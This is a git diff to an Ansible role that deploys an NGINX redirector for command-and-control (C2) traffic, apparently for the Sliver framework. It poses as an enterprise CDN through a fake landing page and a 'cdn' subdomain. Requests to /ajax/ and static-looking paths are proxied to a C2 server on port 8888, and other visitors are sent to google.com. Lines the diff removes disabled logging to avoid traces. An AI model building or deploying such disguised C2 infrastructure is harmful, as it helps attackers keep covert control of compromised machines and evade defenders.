diff --git a/tasks/configure_redirector.yml b/tasks/configure_redirector.yml index 3fdec53..999d3ab 100644 --- a/tasks/configure_redirector.yml +++ b/tasks/configure_redirector.yml @@ -70,6 +70,10 @@ group: root when: zero_logs | bool +- name: Set subdomain value explicitly + set_fact: + redirector_subdomain: "cdn" + - name: Configure NGINX for C2 redirection template: src: "../templates/redirector-site.conf.j2" @@ -108,7 +112,76 @@ creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem when: domain != "example.com" +- name: Test NGINX configuration + command: nginx -t + register: nginx_config_test + ignore_errors: true + +- name: Debug NGINX configuration test results if failed + debug: + var: nginx_config_test.stderr_lines + when: nginx_config_test.rc != 0 + +- name: Ensure NGINX configurations are valid + block: + - name: Fix NGINX configuration if test failed + copy: + content: | + server { + listen 80; + listen [::]:80; + server_name cdn.{{ domain }}; + + # Root directory + root /var/www/html; + index index.html; + + # Primary location for legitimate traffic + location / { + try_files $uri $uri/ =404; + } + + # Special URI patterns for C2 traffic + location /ajax/ { + proxy_pass http://{{ c2_ip }}:8888; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + } + + # Static resources + location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ { + proxy_pass http://{{ c2_ip }}:8888; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + } + } + + # Catch-all server block + server { + listen 80 default_server; + listen [::]:80 default_server; + + # Redirect unknown traffic + return 301 https://www.google.com; + } + dest: /etc/nginx/sites-available/default + mode: '0644' + owner: root + group: root + when: nginx_config_test.rc != 0 + when: nginx_config_test.rc != 0 + - name: Restart NGINX systemd: name: nginx - state: restarted \ No newline at end of file + state: restarted + register: nginx_restart + ignore_errors: true + +- name: Verify NGINX is running + service: + name: nginx + state: started + when: nginx_restart is failed \ No newline at end of file diff --git a/templates/redirector-index.html.j2 b/templates/redirector-index.html.j2 index 00910cf..9176dba 100644 --- a/templates/redirector-index.html.j2 +++ b/templates/redirector-index.html.j2 @@ -3,7 +3,7 @@ - {{ redirector_subdomain }} - Content Delivery Network + CDN - Content Delivery Network
-

{{ redirector_subdomain }}.{{ domain }}

+

cdn.{{ domain }}

Enterprise Content Delivery Network

Welcome to Our CDN

-

This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications. Our CDN provides fast, reliable, and secure content distribution across our global network.

-

This is a private service. Unauthorized access is prohibited.

-
- -
-

Our Features

- -
-
1
-
-

Global Distribution

-

Content cached and distributed across multiple geographic locations for minimum latency.

-
-
- -
-
2
-
-

DDoS Protection

-

Enterprise-grade protection against distributed denial of service attacks.

-
-
- -
-
3
-
-

Asset Optimization

-

Automatic compression and format optimization for images, scripts, and styles.

-
-
-
- -
-

Need Access?

-

If you're a client requiring access to our CDN services, please contact your account representative.

- Contact Sales +

This server is part of our global content delivery network.

diff --git a/templates/redirector-site.conf.j2 b/templates/redirector-site.conf.j2 index b325d90..ae139ad 100644 --- a/templates/redirector-site.conf.j2 +++ b/templates/redirector-site.conf.j2 @@ -1,20 +1,7 @@ server { listen 80; listen [::]:80; - server_name {{ redirector_subdomain }}.{{ domain }}; - - # Redirect to HTTPS - return 301 https://$host$request_uri; -} - -server { - listen 443 ssl; - listen [::]:443 ssl; - server_name {{ redirector_subdomain }}.{{ domain }}; - - # SSL Configuration - ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem; - ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem; + server_name cdn.{{ domain }}; # Root directory root /var/www/html; @@ -26,55 +13,28 @@ server { } # Special URI patterns for C2 traffic - # These will redirect to the actual C2 server - - # Sliver HTTP C2 channel location /ajax/ { proxy_pass http://{{ c2_ip }}:8888; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr; - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection "upgrade"; } - # Static resources that actually redirect to C2 + # Static resources that redirect to C2 location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ { proxy_pass http://{{ c2_ip }}:8888; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Real-IP $remote_addr; } - - # Additional security headers - add_header X-Content-Type-Options "nosniff" always; - add_header X-Frame-Options "SAMEORIGIN" always; - add_header X-XSS-Protection "1; mode=block" always; - add_header Referrer-Policy "no-referrer" always; - add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always; - - # Disable logging for this server block - access_log off; - error_log /dev/null crit; } -# Catch-all server block to respond to unknown hosts +# Catch-all server block server { listen 80 default_server; listen [::]:80 default_server; - listen 443 ssl default_server; - listen [::]:443 ssl default_server; - # Self-signed cert for catch-all - ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; - ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; - - # Redirect all unknown traffic to a legitimate-looking site + # Redirect unknown traffic return 301 https://www.google.com; - - # Disable logs - access_log off; - error_log /dev/null crit; }